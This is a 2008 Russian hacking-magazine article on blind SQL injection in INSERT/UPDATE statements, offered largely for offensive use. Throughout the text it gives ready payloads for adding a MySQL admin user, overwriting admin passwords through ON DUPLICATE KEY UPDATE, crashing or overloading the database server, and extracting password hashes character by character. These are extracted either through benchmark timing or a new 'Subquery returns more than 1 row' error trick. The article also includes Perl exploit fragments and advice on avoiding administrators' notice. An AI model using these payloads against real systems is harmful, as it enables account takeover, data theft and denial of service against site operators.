Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #111, МАРТ 2008 г.

Поднимите мне веки! SQL-прозрение

Elekt (nospam@antichat.ru)

Хакер, номер #111, стр. 111-056-1

Новая альтернатива Benchmark'y

В этой статье показан новый и универсальный способ выполнения blind SQL-инъекций без использования benchmark'a. Найденная альтернатива позволяет получать требуемую информацию из базы данных в «неюзабельных» SQL-инъекциях, таких как UPDATE, DELETE, REPLACE и UPDATE.

Также я подробно опишу аспекты практического использования бенчмарка при написании эксплойтов. И даю свой последний зуб, что это сработает практически на всех СУБД. Проверим?

INTRO

Программисты умнеют, багов в селект-запросах становится все меньше, а проблема SQL-инъекций в INSERT,UPDATE,REPLACE,DELETE и прочих становится все более и более актуальной. В последнее время я часто слышу вопросы: «..подскажи, что мне делать, если сервер выдает - 'mysql error INSERT INTO table_name VALUES(...'».

Видя такую ошибку, новичок в хаке закроет браузер, а любитель запостит сотый вопрос на форумах. В ответ, как правило, тишина, либо советы, которыми он не в силах воспользоваться, поскольку раскрутка blind-SQL в виду специфики заставляет заморочиться даже специалистов (не говоря уж о новичках). К тому же дикое количество запросов к БД и объем трафика, характерный для слепых инъекций, требуют применения автоматизации, то есть умения писать эксплоит, что тоже ставит многих в тупик.

Способы проведения blind-атак давно известны и подробно расписаны 1dt.w0lf (еще 14 ноября 2004). Не читал статью только ленивый: www.securitylab.ru/contest/212099.php. Мое исследование можешь считать ее продолжением.

Когда мне попадается подобная скуль, я более чем доволен. Опасность и пользу она дает ощутимо большую, чем банальный селект-инъект.

Что можно из этого выжать? Немного мозга, и мы получим от БД все, что захотим. Это не селект – мы можем не только получать, но и изменять данные, к примеру, добавить нового админа. Согласись, что это гораздо приятнее, чем брутить пароль уже существующего.

Сейчас я рассмотрю модификацию данных лишь как бонус, а основное внимание сосредоточу на извлечении необходимой информации. Для начала вспомним особенности известных способов атак SQL-inj, применимых к перечисленным выше операторам.

INSERT и другие

Известные атаки на insert/update/etc.

1. SQL-inj в имени таблицы. Здесь возможно все:

INSERT INTO [SQL] VALUES ('antichat','WWW','PHP','SQL','XSS');

Например, добавление нового пользователя:

INSERT INTO [ mysql.user (user, host, password) VALUES ('newadmin', PASSWORD('passwd')), 'a', 'b','c')/* ] VALUES ('antichat','WWW','PHP','SQL','XSS');

2. К сожалению, подобные SQL-inj в 99% случаев присутствуют в имени столбца, что не позволяет изменить модифицируемую таблицу.

INSERT INTO table VALUES ('antichat','WWW','PHP',' [SQL] ','XSS');

А раз так, то кроме порчи/засорения DoS'a БД мы модификацией данных ничего не добьемся.

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ test ','demo')/* ] ','XSS');

3. Но выразим респект Гемоглабину, который не так давно описал нашумевший ON DUPLICATE KEY-баг. В дебрях мускульного мана он откопал замечательный способ, позволяющий творить полноценное безобразие даже из имени столбца.

Использование конструкции «ON DUPLICATE KEY UPDATE» позволяет обновить значения нужных нам полей даже в другой таблице из текущего запроса:

INSERT INTO `users` ( `name` , `password` , `email` , `ipaddress` ) VALUES ( 'underwhater','testeng' , 'ge@ma.ru' , ' [SQL] ' )

INSERT INTO `users` (`name`,`password` , `email` , `ipaddress` ) VALUES ( 'underwhater','testeng' , 'ge@ma.ru' , ' [ 127.0.0.1') ON DUPLICATE KEY UPDATE table2.admin_pass = 'underWHAT?!'/* ] ' )

Модификация данных с возможностью просмотра результата

Здесь уже не важно, где инъекция – в имени таблицы или столбца. Мы можем увидеть результат выполнения запроса, пускай и косвенно. А значит провести атаку не проблема – возникнут лишь технические особенности выяснения результата. Пример: пусть веб-приложение ведет публичную статистику посещений и есть уязвимость в столбце с User-Agent. Тогда результат выполнения SQL-injection мы можем наблюдать на паге вывода статистики посещаемости.

INSERT INTO table VALUES ('antichat','WWW','PHP', [SQL in User-Agent] ,'XSS');

INSERT INTO table VALUES ('antichat','WWW','PHP', [ (select concat(user,0x3a,password,0x3a,file_priv) from mysql.user limit 0,1) , 'hacked!') /* ] ,'XSS');

DoS-атака

Думаю, кому и зачем это бывает нужно – особые комментарии не требуются.

Если инъекция возможна еще и через _POST или _COOKIE, то админ пройдет все круги ада в попытках узнать, с чего это вдруг мускул вешает систему.

1. Для DoS можно использовать функцию измерения производительности – Benchmark(N,F), которая будет вызывать N-раз ресурсоемкую F-функцию, например md5().

INSERT INTO table VALUES ('antichat','WWW','PHP',' [SQL] ','XSS');

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ ' OR BENCHMARK(10000000,BENCHMARK(10000000,md5(now()))) , 'DIE!') /* ] ','XSS');

2. Или использовать специфические ошибки СУБД.

Приложения: MySQL 4.1, MySQL 5.0, MySQL 5.1 (15.06.2006). Запрос «select str_to_date( 1, NULL );» напрочь роняет мускул.

INSERT INTO table VALUES ('antichat','WWW','PHP',' [SQL] ','XSS');

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ ' OR 1=(select str_to_date( 1, NULL )) , 'DIE!') /* ] ','XSS');

Разделение запросов в MSSQL, PostgreSql, Oracle

Что же объединяет эти три популярные СУБД? Такая замечательная вещь, как поддержка разделения запросов – используя точку с запятой, перевод каретки и прочее. Таким образом, мы можем добавить абсолютно любой SQL-запрос, отделив его «;» от основного. Возможности тут открываются действительно широкие.

Во имя профилактики копипаста не стану в сотый раз писать про взлом MSSQL. Это уже не раз обсуждалось на страницах журнала.

Использование временных задержек

Для MySQL – это операторы benchmark(), для PostgreSQL – pg_sleep(), а для MsSQL он единственный – delay(). Применение временных задержек это своего рода переход ко второму измерению. От измерения разности получаемой информации к измерению разности времени на выполнение запроса. Все это позволяет по времени ответа сервера определить результат выполнения запроса.

INSERT INTO table VALUES ('antichat','WWW','PHP',' [SQL] ','XSS');

Этот запрос будет положителен для IF и на исполнение бенчмарка потребуется время, потому ответ от сервера придет с задержкой:

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ ' OR 1=if(ascii(lower(substring((select user from mysql.user limit 1),1,1)))<=1,benchmark(999999,md5(now())),1), 'hacked!' )/* ] ','XSS');

А этот – отрицателен и ответ от сервера придет сразу же:

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ ' OR 1=if(ascii(lower(substring((select user from mysql.user limit 1),1,1)))<=254,benchmark(999999,md5(now())),1), 'hacked!' )/* ] ','XSS');

Benchmark для хакера

Если сомневаешься, что под бенчмарк вообще пишут эксплойты, пробегись по багтракам и убедись в обратном – они существуют.

В реализации на бенчмарке эксплойт выглядит немного сложнее, чем для обычного слепого посимвольного брута.

Перечислим особенности benchmark

1. Бенчмарк создает серьезную нагрузку на процессор сервера. Причем эта нагрузка во время работы эксплойта длится практически постоянно. Администратор может не смотреть логи обращений/ошибок, но вполне может поинтересоваться, почему сервер притормаживает и почему в top -< P «mysqld» занимает первое место...

2. Время работы эксплойта тем больше, чем большую длину записи мы хотим получить (прямо пропорционально). Как показывает практика, для перебора 32-х символьного хеша уходит больше часа. Иногда – несколько часов (по обстоятельствам).

3. Взломщику и серверу требуется широкий надежный канал. От него зависит качество и стабильность брута. Я не говорю, что на диалапе у тебя ничего не получится. Но глюков будет больше, особенно если ты с целью экономии времени выберешь слишком маленький параметр.

4. Параметр измерения производительности (то есть количество итераций) в нашем примере – 999999:

benchmark(999999,md5(user())

По личному опыту знаю, что это число с момента написания 1dt.w0lf'ом статьи вместе с ростом производительности серверов изменилось почти на порядок. В эксплойте желательно делать автоподстройку этого параметра, добиваясь приемлемого времени ответа.

5. Подобрав N-число в benchmark'e, нужно задать таймаут ответа – timeout

Это будет среднее арифметическое от времени выполнения true/false запроса.

6. При написании эксплойта необходимо учитывать, что, по статистике, общее число «неверных» запросов превышает общее число «верных», а значит нужно поставить бенчмарк-задержку, чтобы она срабатывала при верном ответе. Вот так:

if( ?, true, false )

1 = if( 1=1 , benchmark(999999,md5(user()), 1 )

Тем самым мы сэкономим время и снизим нагрузку на сервер.

7. Не забывай, что серверу необходимо давать отдых после каждого бенчмарка, так сказать, дать восстановиться. Иначе следующий запрос может иметь непредвиденное время выполнения и выдаст ошибочные данные (превысит погрешность и случайность ошибок/форсмажора).

Об этой маленькой детали часто забывают, поскольку либо тестят двиг локально, либо неясно о чем думают, релизя код без предварительного тестирования.

Сам долго удивлялся, не понимая, почему первый символ брутится правильно, но дальше идет мусор – а сервер просто давился бенчмарком.

Желательно выбирать время задержки в 1-1,5 раза больше, чем время исполнения бенчмарка. Да, это существенно замедлит брут, но обеспечит качество результата.

Если обратиться непосредственно к коду, то символьный брутер 1dt.w0lf'а без труда модифицируется с учетом бенчмарка. Для его работы необходимо:

1. Изменить SQL под бенчмарк.

$http_query = $path."?Cat=&page=1&like=".$username."' AND 1=if(ascii(substring(CONCAT(U_LoginName,CHAR(58),U _Password),".$s_num.",1))".$ccheck.",benchmark(999999,md5(user()),1)/*";

2. Установить timeout.

Теперь sub check($) должна возвращать результат в зависимости от того, уложился сервер в таймаут или нет.

$mcb_reguest = LWP::UserAgent-<new(timeout=<$timeout) or die;

3. После каждого true-запроса, а значит пытки бенчмарком, дадим серверу отдохнуть N секунд. Пусть восстановится – sleep().

Альтернатива benchmark'y

Когда я копался с бенчмарком, меня, как и любого из вас, одолевало желание найти замену этому геморройному способу. И замена была найдена!

Разность выводимой инфы и времени – на самом деле не единственные факторы. Давай вернемся чуть назад и вспомним, с чего начинается любая SQL-инъекция?

Конечно, с кавычки в запросе! И вывода сообщения об ошибке, соответственно.

Если подходить логически – мы ставим кавычку, MySQL проверяет запрос, находит в нем ошибку и сообщает нам. Следи за мыслью: мускул сначала проверяет на корректность, затем либо проводит запрос и выводит результат, либо не проводит и выдает сразу ошибку синтаксиса.

А теперь спросим себя – может ли быть иначе? Возможно ли и запрос выполнить, и ошибку получить? Разумеется, да, в этом-то все и дело!

Может возникнуть ситуация, когда запрос пройдет проверку на корректность, потом выполнится, но результат даст нам сообщение об ошибке. Тогда наша задача сводится к созданию такого запроса, плюс необходимости связать параметры в нем таким образом, чтобы мы могли манипулировать результатом и, соответственно, получать полезные данные.

Итак, ставим задачу: срыв запроса неявным условием и, как следствие, намеренный вызов ошибки, которая и поможет отличить true от false query.

Вспомнив различные ошибки БД, сначала я попытался, используя IF, сорвать запрос путем подстановки неверных имен таблиц/столбцов/типов данных:

select if(1=1,null,blaaaah);

Однако MySQL, сцуко, умный и проверяет тип данных перед выполнением на корректность («You have an error in your SQL syntax»).

Попытка изменять имя не столбца, а таблицы также не увенчалась успехом.

select null from if(1=1,users,blaaaah);

Видимо, алгоритм интерпретирования запроса в мускуле на корректность предполагает имя таблицы вроде константы, а здесь она не задана явно.

Проверяется существование столбца в заведомо известной таблице и, если таблица не определена, то MySQL шлет меня подальше. Принцип проверки в других базах данных я не смотрел, так что, возможно, такие простые, а, главное, универсальные трюки там прокатят.

Истина где-то рядом… – даже дяде Малдеру такое не снилось! Какие еще ошибки могут возникнуть при выполнении запроса?

1. «The used SELECT statements have a different number of columns» – является, пожалуй, самой популярной ошибкой после «You have an error in your SQL syntax». Но здесь проверка также происходит до выполнения запроса.

2. «Operand should contain 1 column(s)» – нельзя применить по той же причине.

3. «warning: mysql_fetch_array...» – можно применять, но php-ошибка специфическая, под конкретный движок.

4. «Subquery returns more than 1 row» – да-да, он самый, вездесущий лимит. Бинго! Вот то, что нам нужно! Здесь MySQL проверяет корректность данных, но не может проверить число возвращаемых ответов, не сделав самого запроса. Появляется новая задача, – как спровоцировать подобную ошибку? Для этого требуется создать два условия:

  1. когда ошибка возникнет на 100%;
  2. когда Error не возникнет вообще.

Предположим, что нам заведомо известны имена таблиц и столбцов в уязвимом приложении. Пусть пароль хешируется алгоритмом md5. Тогда длина любого пароля равна 32 символам. А длина id или логина наверняка будет меньше, не правда ли?

length(id)=(1-5..) и length(password)=(32)

Наш эксплоит будет выглядеть следующим образом:

false:

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ 123' OR 1=(select null from users where length(if(ascii(substring((select password from users where uid=1),1,1))<254,password,uid))<5) , 'hacked!')/* ] ','XSS');

Первый символ пароля наверняка меньше чем ascii(254).

Значит if возвратит length(id)<5, а так как такого числа пользователей скорее всего нет (циферку здесь можно и побольше брать), то select однозначно возвратит NULL. В результате мы ничего не увидим, будто и нет никакой инъекции. Вот нам и второе условие!

true:

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ 123' OR 1=(select null from users where length(if(ascii(substring((select password from users where uid=1),1,1))<1,password,uid))<5) , 'hacked!')/* ] ','XSS');

Поскольку первый символ пароля наверняка больше ascii(1), то условие истинно.

Значит, if возвратит length(password)<5, что приведет к выводу N результатов в select-запросе.

Но в условии может быть сравнен только один результат 1=(*), что спровоцирует ошибку "Subquery returns more than 1 row"! Пообщавшись на форуме, мы усилиями группового разума (респект товарищу podkashey'ю) родили универсальный, а главное простой вариант эксплойта:

(select 1 union select 2)

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ 123' OR 1=if(ascii(substring((select password from users where uid=1),1,1))<1,(select 1 union select 2),1) , 'hacked!')/* ] ','XSS');

INSERT INTO table VALUES ('antichat','WWW','PHP',' [ 123' OR 1=if(ascii(substring((select password from users where uid=1),1,1))<254,(select 1 union select 2),1) , 'hacked!')/* ] ','XSS');

АЙС?

Дело в том, что при false запросе левая запись будет добавлена в БД. Но это не очень хорошо (потому что палево). Остается найти вторую подобную ошибку, и у нас уже будут два уникальных ответа сервера.

В настоящий момент мне известна только ошибка «Column '[column]' cannot be null», возникающая при попытке присвоить NULL столбцу с атрибутом 'NOT NULL'.

INSERT INTO table (`a`,`b`,`c`) VALUES ('1',if(1=1,NULL,'2'),'3')

Уверен, что, порывшись в этом направлении, ты найдешь и другие схожие ошибки, проявляющиеся именно после выполнения QUERY. А я прощаюсь с тобой, честно описав то, что планировал!

WWW

INFO

Естественно, почти во всех использованных примерах вместо INSERT может стоять любой другой оператор, в том числе и SELECT, ведь с ним тоже бывают сложные случаи инъекций. Подзапросам все равно, где их используют, на то они и подзапросы!

Особенности "more than 1 row":

  1. стандартная скорость посимвольного брута при полной заменяемости бенчмарка. Важно, так как экономим время и не грузим сервер;
  2. цена этой производительности – масса ерроров в логах MySQL, что может привлечь внимание администратора;
  3. разумеется, "more than 1 row" возможен лишь в конфигурации сервера с display_errors=ON

DVD

На диске ты найдешь мою шпаргалку для SQL-хеккера. С ней не придется каждый раз опять копаться в манах. Рассмотрены особенности MySQL, MSSQL, PostgreSQL, Oracle, mSQL, SQLite, Access инъекций.

На диске ты найдешь новую версию Antichat SQL-toolkit с поддержкой ‘more_1_row’ и бенчмарка!

Если ты хочешь со мной что-то обсудить, то меня всегда можно найти здесь – http://forum.antichat.ru/member.php?userid=20674.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

Содержание